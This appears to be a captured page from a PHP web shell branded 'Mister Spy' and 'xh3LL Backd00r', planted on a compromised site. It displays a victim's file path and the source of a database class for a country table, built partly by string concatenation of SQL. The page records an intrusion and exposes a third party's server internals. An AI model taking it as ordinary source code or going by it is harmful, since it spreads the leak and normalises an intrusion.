Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/espanol/library/
Upload File :
Current File : /home/caballoscriollos/public_html/espanol/library/class.paises.php

<?php 

require_once('class.dbaccess.php');
require_once('class.pais.php');
require_once('class.filter.php');
require_once('class.page.php');

class Paises extends DBAccess implements IFilterable
{
	public function ParseFilter(array $filter)
	{
		$sql = '';
		
		$sql.= " WHERE Nombre LIKE '%" . DB::StringUnquoted($filter['Nombre']) . "%'";
		
		return $sql;
	}


	public function GetPagesCount(Page $oPage, $filter = false)
	{	
		$sql = "SELECT COUNT(1) / " . DB::Number($oPage->Size) . " AS Count";
		$sql.= " FROM tblPaises";
		
		if ($filter)
			$sql.= " " . $this->ParseFilter($filter);
		
		if (!($oRes = $this->GetQuery($sql)) )		
			return false;

		if ( !($oRow = $oRes->GetRow()) )
			return false;
		
		$Count = $oRow['Count'];
		
		return ceil($Count);
	}


	public function GetAll(array $filter = NULL, Page $oPage = NULL)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblPaises";

		if ($filter)
			$sql.= $this->ParseFilter($filter);

		$sql.= " ORDER BY Nombre";

		if ($oPage != NULL)
			$sql.= " " . Pageable::ParsePage($oPage);
						
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		$arr = array();
			
		while ($oRow = $oRes->GetRow())	
		{	
			$oPais = new Pais();
			$oPais->ParseFromArray($oRow);
			
			array_push($arr, $oPais);
			
			$oRes->MoveNext();
		}	
		
		return $arr;		
	}
	

	public function GetById($IdPais)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblPaises";
		$sql.= " WHERE IdPais = " . DB::Number($IdPais);	
			
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oPais = new Pais();
		$oPais->ParseFromArray($oRow);
		
		return $oPais;		
	}
	

	public function GetByNombre($Nombre)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblPaises";
		$sql.= " WHERE Nombre = " . DB::String($Nombre);	
			
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$arr = array();
			
		while ($oRow = $oRes->GetRow())	
		{	
			$oPais = new Pais();
			$oPais->ParseFromArray($oRow);
			
			array_push($arr, $oPais);
			
			$oRes->MoveNext();
		}	
		
		return $arr;
	}

	
	public function GetCountRows(array $filter = NULL)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblPaises";

		if ($filter)
			$sql.= $this->ParseFilter($filter);

		$sql.= " ORDER BY Nombre";
		
		if (!($oRes = $this->GetQuery($sql)))
			return false;
		
		$CountRows = $oRes->NumRows();
		
		return $CountRows;
	}
	
	
	public function GetAllUsed()
	{
		$sql = "SELECT p.*";
		$sql.= " FROM tblPaises p";
		$sql.= " LEFT JOIN tblUsuarios u ON u.IdPais = p.IdPais";
		$sql.= " LEFT JOIN tblUsuariosNewsletter un ON un.IdPais = p.IdPais";
		$sql.= " WHERE (u.IdPais IS NOT NULL";
		$sql.= " OR un.IdPais IS NOT NULL)";
		$sql.= " GROUP BY p.IdPais";
		$sql.= " ORDER BY p.Nombre ASC";

		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		$arr = array();
			
		while ($oRow = $oRes->GetRow())	
		{	
			$oPais = new Pais();
			$oPais->ParseFromArray($oRow);
			
			array_push($arr, $oPais);
			
			$oRes->MoveNext();
		}	
		
		return $arr;		
	}
	
	
	public function Create(Pais $oPais)
	{
		$arr = array
		(
			'Nombre' 		=> DB::String($oPais->Nombre),
			'Abreviatura' 	=> DB::String($oPais->Abreviatura)
		);
		
		if (!$this->Insert('tblPaises', $arr))
			return false;
			
		return $oPais;
	}
	
	
	public function Update(Pais $oPais)
	{
		$where = " IdPais = " . DB::Number($oPais->IdPais);
		
		$arr = array
		(
			'Nombre' 		=> DB::String($oPais->Nombre),
			'Abreviatura' 	=> DB::String($oPais->Abreviatura)
		);
		
		if (!DBAccess::Update('tblPaises', $arr, $where))
			return false;
		
		return $oPais;
	}
	

	public function Delete($IdPais)
	{
		if (!DBAccess::$db->Begin())
			return false;
			
		$where = " IdPais = " . DB::Number($IdPais);
		if (!DBAccess::Delete('tblPaises', $where))
		{
				DBAccess::$db->Rollback();	
				return false;
		}

		DBAccess::$db->Commit();
		
		return true;	
	}		
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat